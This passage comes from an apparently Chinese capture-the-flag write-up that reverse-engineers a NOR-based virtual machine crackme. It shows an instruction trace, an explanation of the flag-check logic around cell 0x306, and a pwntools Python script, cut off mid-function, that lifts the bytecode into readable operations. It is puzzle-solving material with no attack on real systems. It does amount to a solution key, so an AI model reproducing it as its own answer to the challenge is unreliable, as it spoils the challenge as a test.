class="line">0x1d6c:*(0x1d68)=~(*(0x1d40))</span><br><span class="line">0x1d6f:reg=~(*(0x1d67)|*(0x1d68))</span><br><span class="line">0x1d72:*(0x1d40)=reg</span><br><span class="line">0x1d78:reg=~(*(0x1d40)|*(0x1d41))</span><br><span class="line">0x1d7b:*(0x202f)=~reg</span><br><span class="line">0x1d7e:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1d81:*(0x306)=~reg</span><br><span class="line">0x1d84:*(0x2157)=*(0x2157)</span><br><span class="line">0x1d8a:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1d90:set ip to 0x1d99</span><br><span class="line">0x1d99:*(0x1d97)=~(*(0x202f))</span><br><span class="line">0x1d9c:*(0x1d98)=~(*(0x2122))</span><br><span class="line">[*] ip=0x1d9f:set ip to 0x1da8</span><br><span class="line">0x1da8:*(0x1da6)=~(*(0x202f))</span><br><span class="line">0x1dab:*(0x1da7)=~(*(0x1d98))</span><br><span class="line">0x1dae:reg=~(*(0x1da6)|*(0x1da7))</span><br><span class="line">0x1db1:*(0x1d98)=reg</span><br><span class="line">[*] ip=0x1db7:set ip to 0x1dc0</span><br><span class="line">0x1dc0:*(0x1dbe)=~(*(0x2122))</span><br><span class="line">0x1dc3:*(0x1dbf)=~(*(0x1d97))</span><br><span class="line">0x1dc6:reg=~(*(0x1dbe)|*(0x1dbf))</span><br><span class="line">0x1dc9:*(0x1d97)=reg</span><br><span class="line">0x1dcf:reg=~(*(0x1d97)|*(0x1d98))</span><br><span class="line">0x1dd2:*(0x202f)=~reg</span><br><span class="line">0x1dd5:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1dd8:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1ddb:set ip to 0x1de4</span><br><span class="line">0x1de4:*(0x1de2)=~(*(0x2158))</span><br><span class="line">0x1de7:*(0x1de3)=~(*(0x211a))</span><br><span class="line">[*] ip=0x1dea:set ip to 0x1df3</span><br><span class="line">0x1df3:*(0x1df1)=~(*(0x2158))</span><br><span class="line">0x1df6:*(0x1df2)=~(*(0x1de3))</span><br><span class="line">0x1df9:reg=~(*(0x1df1)|*(0x1df2))</span><br><span class="line">0x1dfc:*(0x1de3)=reg</span><br><span class="line">[*] ip=0x1e02:set ip to 0x1e0b</span><br><span class="line">0x1e0b:*(0x1e09)=~(*(0x211a))</span><br><span class="line">0x1e0e:*(0x1e0a)=~(*(0x1de2))</span><br><span class="line">0x1e11:reg=~(*(0x1e09)|*(0x1e0a))</span><br><span class="line">0x1e14:*(0x1de2)=reg</span><br><span class="line">0x1e1a:reg=~(*(0x1de2)|*(0x1de3))</span><br><span class="line">0x1e1d:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1e20:set ip to 0x1e29</span><br><span class="line">0x1e29:*(0x1e27)=~(*(0x202f))</span><br><span class="line">0x1e2c:*(0x1e28)=~(*(0x2121))</span><br><span class="line">[*] ip=0x1e2f:set ip to 0x1e38</span><br><span class="line">0x1e38:*(0x1e36)=~(*(0x202f))</span><br><span class="line">0x1e3b:*(0x1e37)=~(*(0x1e28))</span><br><span class="line">0x1e3e:reg=~(*(0x1e36)|*(0x1e37))</span><br><span class="line">0x1e41:*(0x1e28)=reg</span><br><span class="line">[*] ip=0x1e47:set ip to 0x1e50</span><br><span class="line">0x1e50:*(0x1e4e)=~(*(0x2121))</span><br><span class="line">0x1e53:*(0x1e4f)=~(*(0x1e27))</span><br><span class="line">0x1e56:reg=~(*(0x1e4e)|*(0x1e4f))</span><br><span class="line">0x1e59:*(0x1e27)=reg</span><br><span class="line">0x1e5f:reg=~(*(0x1e27)|*(0x1e28))</span><br><span class="line">0x1e62:*(0x202f)=~reg</span><br><span class="line">0x1e65:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1e68:*(0x306)=~reg</span><br><span class="line">0x1e6b:*(0x2159)=*(0x2159)</span><br><span class="line">0x1e71:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1e77:set ip to 0x1e80</span><br><span class="line">0x1e80:*(0x1e7e)=~(*(0x202f))</span><br><span class="line">0x1e83:*(0x1e7f)=~(*(0x2134))</span><br><span class="line">[*] ip=0x1e86:set ip to 0x1e8f</span><br><span class="line">0x1e8f:*(0x1e8d)=~(*(0x202f))</span><br><span class="line">0x1e92:*(0x1e8e)=~(*(0x1e7f))</span><br><span class="line">0x1e95:reg=~(*(0x1e8d)|*(0x1e8e))</span><br><span class="line">0x1e98:*(0x1e7f)=reg</span><br><span class="line">[*] ip=0x1e9e:set ip to 0x1ea7</span><br><span class="line">0x1ea7:*(0x1ea5)=~(*(0x2134))</span><br><span class="line">0x1eaa:*(0x1ea6)=~(*(0x1e7e))</span><br><span class="line">0x1ead:reg=~(*(0x1ea5)|*(0x1ea6))</span><br><span class="line">0x1eb0:*(0x1e7e)=reg</span><br><span class="line">0x1eb6:reg=~(*(0x1e7e)|*(0x1e7f))</span><br><span class="line">0x1eb9:*(0x202f)=~reg</span><br><span class="line">0x1ebc:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1ebf:*(0x306)=~reg</span><br><span class="line">0x1ec2:reg=0x0</span><br><span class="line">0x1ecd:*(0x8)=~reg</span><br><span class="line">0x1ed0:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1ed3:*(0x8)=~reg</span><br><span class="line">0x1ee2:rol(*(0x8), 1)</span><br><span class="line">0x1ee2:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1ee5:*(0x8)=~reg</span><br><span class="line">0x1ef4:rol(*(0x8), 1)</span><br><span class="line">0x1ef4:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1ef7:*(0x8)=~reg</span><br><span class="line">0x1f06:rol(*(0x8), 1)</span><br><span class="line">0x1f06:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f09:*(0x8)=~reg</span><br><span class="line">0x1f18:rol(*(0x8), 1)</span><br><span class="line">0x1f18:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f1b:*(0x8)=~reg</span><br><span class="line">0x1f2a:rol(*(0x8), 1)</span><br><span class="line">0x1f2a:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f2d:*(0x8)=~reg</span><br><span class="line">0x1f3c:rol(*(0x8), 1)</span><br><span class="line">0x1f3c:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f3f:*(0x8)=~reg</span><br><span class="line">0x1f4e:rol(*(0x8), 1)</span><br><span class="line">0x1f4e:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f51:*(0x8)=~reg</span><br><span class="line">0x1f60:rol(*(0x8), 1)</span><br><span class="line">0x1f60:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f63:*(0x8)=~reg</span><br><span class="line">0x1f72:rol(*(0x8), 1)</span><br><span class="line">0x1f72:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f75:*(0x8)=~reg</span><br><span class="line">0x1f84:rol(*(0x8), 1)</span><br><span class="line">0x1f84:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f87:*(0x8)=~reg</span><br><span class="line">0x1f96:rol(*(0x8), 1)</span><br><span class="line">0x1f96:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1f99:*(0x8)=~reg</span><br><span class="line">0x1fa8:rol(*(0x8), 1)</span><br><span class="line">0x1fa8:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1fab:*(0x8)=~reg</span><br><span class="line">0x1fba:rol(*(0x8), 1)</span><br><span class="line">0x1fba:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1fbd:*(0x8)=~reg</span><br><span class="line">0x1fcc:rol(*(0x8), 1)</span><br><span class="line">0x1fcc:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1fcf:*(0x8)=~reg</span><br><span class="line">0x1fde:rol(*(0x8), 1)</span><br><span class="line">0x1fde:reg=~(*(0x8)|*(0x306))</span><br><span class="line">0x1fe1:*(0x8)=~reg</span><br><span class="line">[*] ip=0x1fe4:set ip to 0x1fed</span><br><span class="line">[*] ip=0x1fed:set ip to 0x1ff6</span><br><span class="line">[*] ip=0x1ff6:set ip to 0x1fff</span><br><span class="line">0x1fff:*(0x1ffd)=~(*(0x1fec))</span><br><span class="line">0x2002:*(0x1ffe)=~(*(0x8))</span><br><span class="line">0x2005:reg=~(*(0x1ffd)|*(0x1ffe))</span><br><span class="line">0x2008:*(0x1ff4)=reg</span><br><span class="line">0x200e:*(0x1ff5)=~(*(0x8))</span><br><span class="line">[*] ip=0x2011:set ip to 0x201a</span><br><span class="line">0x201a:*(0x2018)=~(*(0x1feb))</span><br><span class="line">0x201d:*(0x2019)=~(*(0x1ff5))</span><br><span class="line">0x2020:reg=~(*(0x2018)|*(0x2019))</span><br><span class="line">0x2023:*(0x1ff5)=reg</span><br><span class="line">0x2029:reg=~(*(0x1ff4)|*(0x1ff5))</span><br><span class="line">[*] ip=0x202c:set ip to 0x0</span><br><span class="line">error at ip=0x202c</span><br></pre></td></tr></table></figure><p>观察后可以知道0x306是一个很关键的标志，程序将输入的字符进行某种运算后再与0x306位置进行运算。而0x1ecd位置处开始则像是对能否得到flag的判断，其中有对0x306处的移位操作，那猜测能得到flag的条件无非是0x306为0xffff或0，经过动调验证发现0x306位置必须为0。</p><p>现在再跟踪对输入字符的运算，比如从0x5c3开始的部分，可以大致简化如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">*(0x202f)=*(0x2137)</span><br><span class="line">rol(*(0x202f), 15)</span><br><span class="line">*(0x685)=~(~(*(0x202f))|*(0x212c))</span><br><span class="line">*(0x684)=~(~(*(0x212c))|*(0x202f))</span><br><span class="line">*(0x202f)=(*(0x684)|*(0x685))</span><br><span class="line">*(0x306)=(*(0x202f)|*(0x306))</span><br></pre></td></tr></table></figure><p>由此可得0x202f处要为0。注意到位运算有如下特征：<code>若(~(~a|b))|(~(~b|a))==0，则a==b</code>，因此这里是在移位后判断相等。类似地，程序中还包含另外两种加密方式：移动1位，和进行或运算。通过脚本输出的指令，我们可以很好判断对应位置使用的加密方式，得到如下解题脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level=&#x27;warning&#x27;</span></span><br><span class="line">ip = <span class="number">300</span></span><br><span class="line">reg=<span class="number">0</span></span><br><span class="line">originalCode=<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">600</span>+<span class="built_in">open</span>(<span class="string">&#x27;code.bin&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>).read()</span><br><span class="line">CodeList=[]</span><br><span class="line"><span class="keyword">assert</span>(<span class="built_in">len</span>(originalCode)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(originalCode)//<span class="number">2</span>):</span><br><span class="line">    CodeList.append(u16(originalCode[i*<span class="number">2</span>:i*<span class="number">2</span>+<span class="number">2</span>]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">assert</span>(<span class="number">0</span>&lt;=num&lt;=<span class="number">0xffff</span>)</span><br><span class="line">    <span class="keyword">return</span> ((num&lt;&lt;<span class="number">1</span>)&amp;<span class="number">0xffff</span>)+(num&gt;&gt;<span class="number">15</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol_back</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">assert</span>(<span class="number">0</span>&lt;=num&lt;=<span class="number">0xffff</span>)</span><br><span class="line">    <span class="keyword">return</span> (num&gt;&gt;<span class="number">1</span>)+(num%<span class="number">2</span>)*(<span class="number">1</span>&lt;&lt;<span class="number">15</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rev</span>(<span class="params">num</span>):</span><br><span class="line">    <span class="keyword">return</span> (~num)&amp;<span class="number">0xffff</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">jmp</span>(<span class="params">addr</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    info(<span class="string">f&#x27;ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>:set ip to <span class="subst">&#123;<span class="built_in">hex</span>(addr)&#125;</span>&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> addr-ip&gt;<span class="number">30</span> <span class="keyword">or</span> addr-ip&lt;<span class="number">0</span>:</span><br><span class="line">        <span class="built_in">input</span>(<span class="string">f&quot;error at ip=<span class="subst">&#123;<span class="built_in">hex</span>(ip)&#125;</span>&quot;</span>)</span><br><span class="line">    ip=addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_nor_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> dst!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [src0,src1]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">nor_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    reg=<span class="number">0xffffffff</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>)|*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_not</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [src0,dst]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">not_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>)=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1 <span class="keyword">or</span> dst!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> src0</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    reg=rev(CodeList[result])</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=~(*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>))&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_save_reg</span>(<span class="params">code</span>):</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0!=src1 <span class="keyword">or</span> src0!=<span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> dst</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">save_reg_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">global</span> reg</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    <span class="keyword">if</span> result==<span class="number">0</span>:</span><br><span class="line">        jmp(reg)</span><br><span class="line">        info(<span class="string">&#x27;regjump&#x27;</span>)</span><br><span class="line">        ip-=<span class="number">3</span></span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>)=~reg&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_jmp</span>(<span class="params">code</span>):</span><br><span class="line">    addr=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    src0,src1,dst=code[<span class="number">0</span>],code[<span class="number">1</span>],code[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">if</span> src0==src1==<span class="number">7</span> <span class="keyword">and</span> dst==<span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> addr</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">jmp_handler</span>(<span class="params">result</span>):</span><br><span class="line">    jmp(CodeList[result])</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_imm</span>(<span class="params">code</span>):</span><br><span class="line">    addr=pattern_jmp(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> (CodeList[addr]-addr==<span class="number">2</span> <span class="keyword">and</span> pattern_load_reg(code[<span class="number">8</span>:])==addr+<span class="number">1</span>):</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> code[<span class="number">7</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_imm_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">global</span> reg</span><br><span class="line">    reg=result</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&#x27;reg=<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_put</span>(<span class="params">code</span>):</span><br><span class="line">    chraddr=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> chraddr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">3</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    imm=pattern_load_imm(code)</span><br><span class="line">    <span class="keyword">if</span> imm!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">11</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">4</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> chraddr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">put_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;putchar(&#x27;<span class="subst">&#123;<span class="built_in">chr</span>(CodeList[result])&#125;</span>&#x27;)&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_get</span>(<span class="params">code</span>):</span><br><span class="line">    imm=pattern_load_imm(code)</span><br><span class="line">    <span class="keyword">if</span> imm!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">11</span>:]</span><br><span class="line">    pos=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">6</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    pos=pattern_load_reg(code)</span><br><span class="line">    <span class="keyword">if</span> pos!=<span class="number">5</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    addr=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addr==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;*(<span class="subst">&#123;<span class="built_in">hex</span>(result)&#125;</span>)=getchar()&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_load_mem</span>(<span class="params">code</span>):</span><br><span class="line">    addrsrc=pattern_load_reg(code)</span><br><span class="line">    code=code[<span class="number">3</span>:]</span><br><span class="line">    addrdst=pattern_save_reg(code)</span><br><span class="line">    <span class="keyword">if</span> addrsrc==-<span class="number">1</span> <span class="keyword">or</span> addrdst==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> [addrsrc,addrdst]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">load_mem_handler</span>(<span class="params">result</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">1</span>])&#125;</span>)=<span class="subst">&#123;<span class="string">f&#x27;*(<span class="subst">&#123;<span class="built_in">hex</span>(result[<span class="number">0</span>])&#125;</span>)&#x27;</span> <span class="keyword">if</span> result[<span class="number">0</span>]!=<span class="number">7</span> <span class="keyword">else</span> <span class="string">&#x27;reg&#x27;</span>&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_rol</span>(<span class="params">code</span>):</span><br><span class="line">    result=pattern_load_mem(code)</span><br><span class="line">    <span class="keyword">if</span> result==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> result[<span class="number">0</span>]!=result[<span class="number">1</span>]:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    addr=result[<span class="number">0</span>]</span><br><span class="line">    code=code[<span class="number">6</span>:]</span><br><span class="line">    result=pattern_load_mem(code)</span><br><span class="line">    <span class="keyword">if</span> result==-<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">if</span> result[<span class="number">1</span>]!=addr <span class="keyword">or</span> result[<span class="number">0</span>]!=<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> -<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pattern_rols</span>(<span class="params">code</span>):</span><br><span class="line">    <span class="keyword">global</span> ip</span><br><span class="line">    i=<span 